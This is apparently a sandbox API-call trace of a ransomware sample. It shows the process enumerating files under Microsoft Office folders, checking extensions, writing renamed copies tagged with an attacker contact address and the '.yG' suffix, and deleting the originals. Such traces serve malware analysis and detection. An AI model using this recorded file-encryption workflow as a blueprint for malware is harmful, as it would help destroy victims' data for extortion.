	[0157.150] lstrlenW (lpString=".docx") returned 5
	[0157.150] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.150] lstrlenW (lpString=".pdf") returned 4
	[0157.150] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.150] lstrlenW (lpString=".xls") returned 4
	[0157.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.151] lstrlenW (lpString=".xlsx") returned 5
	[0157.151] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.151] lstrlenW (lpString=".ppt") returned 4
	[0157.151] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.151] lstrlenW (lpString=".zip") returned 4
	[0157.151] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.151] lstrlenW (lpString=".rar") returned 4
	[0157.151] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.153] lstrlenW (lpString=".bz2") returned 4
	[0157.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.153] lstrlenW (lpString=".7z") returned 3
	[0157.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.153] lstrlenW (lpString=".dbf") returned 4
	[0157.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.153] lstrlenW (lpString=".1cd") returned 4
	[0157.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.153] lstrlenW (lpString=".jpg") returned 4
	[0157.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.154] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.154] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40
	[0157.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.156] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6890712) returned 1
	[0157.156] CloseHandle (hObject=0x550) returned 1
	[0157.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220
	[0157.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.157] lstrlenW (lpString=".doc") returned 4
	[0157.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString=".docx") returned 5
	[0157.157] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.157] lstrlenW (lpString=".pdf") returned 4
	[0157.157] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString=".xls") returned 4
	[0157.157] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString=".xlsx") returned 5
	[0157.157] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.157] lstrlenW (lpString=".ppt") returned 4
	[0157.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.157] lstrlenW (lpString=".zip") returned 4
	[0157.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString=".rar") returned 4
	[0157.157] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.157] lstrlenW (lpString=".bz2") returned 4
	[0157.157] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.157] lstrlenW (lpString=".7z") returned 3
	[0157.158] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.158] lstrlenW (lpString=".dbf") returned 4
	[0157.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.158] lstrlenW (lpString=".1cd") returned 4
	[0157.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.158] lstrlenW (lpString=".jpg") returned 4
	[0157.158] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.158] lstrlenW (lpString=".doc") returned 4
	[0157.158] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.158] lstrlenW (lpString=".docx") returned 5
	[0157.158] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.158] lstrlenW (lpString=".pdf") returned 4
	[0157.158] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.158] lstrlenW (lpString=".xls") returned 4
	[0157.158] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.158] lstrlenW (lpString=".xlsx") returned 5
	[0157.159] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.159] lstrlenW (lpString=".ppt") returned 4
	[0157.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.159] lstrlenW (lpString=".zip") returned 4
	[0157.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.159] lstrlenW (lpString=".rar") returned 4
	[0157.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.159] lstrlenW (lpString=".bz2") returned 4
	[0157.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.159] lstrlenW (lpString=".7z") returned 3
	[0157.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.159] lstrlenW (lpString=".dbf") returned 4
	[0157.159] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.159] lstrlenW (lpString=".1cd") returned 4
	[0157.159] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0157.159] lstrlenW (lpString=".jpg") returned 4
	[0157.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.160] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.160] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31
	[0157.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.165] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=73312) returned 1
	[0157.166] CloseHandle (hObject=0x52c) returned 1
	[0157.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220
	[0157.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0157.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0157.167] lstrlenW (lpString=".doc") returned 4
	[0157.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.167] lstrlenW (lpString=".docx") returned 5
	[0157.167] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0157.167] lstrlenW (lpString=".pdf") returned 4
	[0157.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.167] lstrlenW (lpString=".xls") returned 4
	[0157.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.167] lstrlenW (lpString=".xlsx") returned 5
	[0157.167] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0157.167] lstrlenW (lpString=".ppt") returned 4
	[0157.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0157.167] lstrlenW (lpString=".zip") returned 4
	[0157.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.167] lstrlenW (lpString=".rar") returned 4
	[0157.167] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.168] lstrlenW (lpString=".bz2") returned 4
	[0157.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.168] lstrlenW (lpString=".7z") returned 3
	[0157.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0157.168] lstrlenW (lpString=".dbf") returned 4
	[0157.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.170] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=31328) returned 1
	[0157.170] CloseHandle (hObject=0x52c) returned 1
	[0157.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220
	[0157.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.172] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=132800) returned 1
	[0157.172] CloseHandle (hObject=0x52c) returned 1
	[0157.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220
	[0157.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0159.049] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=1347630) returned 1
	[0159.049] CloseHandle (hObject=0x554) returned 1
	[0159.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220
	[0159.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0159.050] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.050] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0159.052] GetLastError () returned 0x0
	[0159.052] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0159.127] WriteFile (in: hFile=0x38c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0160.262] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x4903e, lpOverlapped=0x0) returned 1
	[0160.278] WriteFile (in: hFile=0x38c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x49040, lpOverlapped=0x0) returned 1
	[0160.292] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.292] WriteFile (in: hFile=0x38c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0160.293] SetEndOfFile (hFile=0x38c) returned 1
	[0160.294] CloseHandle (hObject=0x38c) returned 1
	[0160.295] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.295] SetEndOfFile (hFile=0x554) returned 1
	[0160.590] CloseHandle (hObject=0x554) returned 1
	[0160.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1
	[0160.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.979] lstrlenW (lpString=".doc") returned 4
	[0160.979] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0160.979] lstrlenW (lpString=".docx") returned 5
	[0160.979] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0160.979] lstrlenW (lpString=".pdf") returned 4
	[0160.979] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0160.979] lstrlenW (lpString=".xls") returned 4
	[0160.979] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0160.979] lstrlenW (lpString=".xlsx") returned 5
	[0160.979] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0160.979] lstrlenW (lpString=".ppt") returned 4
	[0160.979] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0160.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.979] lstrlenW (lpString=".zip") returned 4
	[0160.979] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0160.979] lstrlenW (lpString=".rar") returned 4
	[0160.979] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0160.979] lstrlenW (lpString=".bz2") returned 4
	[0160.979] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0160.979] lstrlenW (lpString=".7z") returned 3
	[0160.979] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0160.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.980] lstrlenW (lpString=".dbf") returned 4
	[0160.980] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0160.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.980] lstrlenW (lpString=".1cd") returned 4
	[0160.980] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0160.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.980] lstrlenW (lpString=".jpg") returned 4
	[0160.980] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0160.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.980] lstrlenW (lpString=".doc") returned 4
	[0160.980] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0160.980] lstrlenW (lpString=".docx") returned 5
	[0160.980] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0160.980] lstrlenW (lpString=".pdf") returned 4
	[0160.980] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0160.980] lstrlenW (lpString=".xls") returned 4
	[0160.980] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0160.980] lstrlenW (lpString=".xlsx") returned 5
	[0160.980] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0160.980] lstrlenW (lpString=".ppt") returned 4
	[0160.980] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0160.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.981] lstrlenW (lpString=".zip") returned 4
	[0160.981] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0160.981] lstrlenW (lpString=".rar") returned 4
	[0160.981] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0160.981] lstrlenW (lpString=".bz2") returned 4
	[0160.981] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0160.981] lstrlenW (lpString=".7z") returned 3
	[0160.981] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0160.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.981] lstrlenW (lpString=".dbf") returned 4
	[0160.981] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0160.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.981] lstrlenW (lpString=".1cd") returned 4
	[0160.981] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0160.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0160.981] lstrlenW (lpString=".jpg") returned 4
	[0160.981] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0160.981] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0160.981] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24
	[0160.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0160.985] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=20775) returned 1
	[0160.985] CloseHandle (hObject=0x554) returned 1
	[0160.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220
	[0160.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0160.987] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.987] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0160.990] GetLastError () returned 0x0
